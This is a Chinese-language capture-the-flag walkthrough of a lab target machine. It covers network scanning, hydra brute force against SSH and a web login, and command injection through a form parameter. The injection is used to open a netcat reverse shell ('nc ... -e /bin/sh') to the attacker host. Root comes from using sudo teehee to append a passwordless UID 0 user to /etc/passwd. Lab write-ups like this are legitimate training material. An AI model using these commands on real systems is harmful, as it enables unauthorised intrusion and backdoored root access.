测试环境
靶机IP:192.168.51.237
攻击机:192.168.51.103
拿到靶机还是先找到IP地址,上一篇已经讲过了,使用 nnap命令找到靶机所在的虚拟机IP
nmap -sP 192.168.51.0-254
用nmap扫一下,看看开放哪些服务有哪些利用思路,发现开放了80、22端口,22端口是ssh端口,我们可以想到ssh爆破一下。80端口就代表开放http。
先试着ssh爆破一下,这里使用kali自带的hydra工具
使用命令:
hydra -l 用户名 -P 密码字典文件 ssh://ip
然后漫长的等待,功夫不负有心人。。。。结果没跑出来。。。。。
于是转变思路用浏览器打开80端口看看有没有思路。打开发现一个登录界面,好家伙,梅开二度在爆破一下。打开bp设置代理,第一跑没成功,后来发现需要把cookie值删掉。然后成功跑到密码:happy,确实挺让人happy的。
登录进去
run一下试试,输出了一些文件信息,整个页面也没有可利用点,感觉命令执行有戏,于是抓包看看果然看到radio参数后面的值,是linux命令,尝试ip+a 提交发现输出了信息
这就好办了,直接反弹shell,现在kali开启监听
nc -lvp 7777
把radio参数值改成:nc+192.168.51.103+7777+-e+/bin/sh去提交,返回kali发现已经建立会话
看了一遍不是id看一下不是root权限,在home目录下找到三个用户,进去看看发现old-password文件,打开看看好多密码,保存下来生成ssh字典,在使用hydra爆破尝试登录。
hydra -l jim -P pass.txt ssh://192.168.51.237
过一会跑出来了登录进去看看有没有信息发现/var下有个email打开意思时charles写个jim的信里面有他的密码,我们尝试登录charles用户
也不是root用户但给了这么个用户肯定是有用的于是使用,sudo -l 查看该用户有哪些root权限命令尝试提权
上面给了提示使用teehee,teehee命令可以写入文件内容并不覆盖文件原有内容
我们可以把一个账号密码写入/etc/passwd中,这样这个用户就具有root权限
sudo teehee -a /etc/passwd
demon::0:0:::/bin/bash
这样demon用户就具有root权限了,我们登录进去,进去root目录发现flag!